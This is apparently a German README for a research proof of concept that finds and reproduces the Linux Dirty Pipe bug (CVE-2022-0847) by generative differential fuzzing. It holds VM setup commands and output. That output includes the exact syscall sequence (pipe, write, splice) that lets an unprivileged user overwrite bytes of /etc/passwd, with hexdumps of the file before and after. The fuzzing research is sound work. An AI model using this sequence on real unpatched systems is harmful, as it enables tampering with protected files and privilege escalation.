
Sehr grober PoC zur Erkennung/Reproduktion von CVE-2022-0847 (dirty pipe) durch zufällige Generierung von Syscalls und differential fuzzing gegen ein Modell.
Naiver Detektor und Reproduzierer von CVE-2022-0847 (dirty pipe). Verwendet einen einfachen Generator von Syscall-Sequenzen / Programmen aus einer bewusst begrenzten Menge von Bausteinen / Eingabewerten (nur Generierung, kein fortgeschrittenes Fuzzing; keine Mutation; keine Coverage-Anleitung; keine Verkleinerung / Minimierung) und erkennt Fehlverhalten inspiriert von zustandsbasiertem Property-basiertem Testen, indem es Rückgabewerte jeder Aktion mit einem Modell und dem echten Kernel vergleicht (differentielles Fuzzing gegen ein Modell).
Als Haftungsausschluss: Der Code verwendet viele magische Zahlen/Hacks/integrierte Werte in den Bausteinen, um den auslösenden minimalen PoC generieren zu können. Er ist daher nicht wirklich (nur halbwegs) repräsentativ für die realistische Generierung der richtigen Syscall-Sequenz mit den richtigen Parametern. Ungesteuerte Generierung über alle Parameter hinweg durch den großen möglichen Zustandsraum würde wahrscheinlich viel zu lange dauern.
Ich habe versucht, alle Stellen, an denen ein Wert oder die Wahl der Aktionen direkt durch angenommenes Wissen über den PoC selbst beeinflusst wird – und die daher für einen vollständig realistischen PoC zufällig gefunden werden müssten – mit der Zeichenkette "MAGIC VALUE" zu markieren.
Dies sollte als sehr grober Proof-of-Concept betrachtet werden.
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux
# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"
# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:
# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
Ausgabe:
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 6f 6f 74 3a 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |root::0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34
thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
- [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
- [PipeFd { buf: [0], capacity: 65536 }]
- Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])
Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
$ # note that this poc is found practically instantly
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 00 00 00 00 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |r....:0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
Beachten Sie, dass dieser PoC sich geringfügig von dem aus build-kernel-and-minimal-poc unterscheidet, da die Reihenfolge der Syscalls auf eine Weise geändert wurde, die für den Fehler keine Rolle spielt.
Dies zeigt, dass die Schritt-für-Schritt-Ausführung von Befehlen gegen Modell und reales SUT diese Situation ebenfalls korrekt erkennt.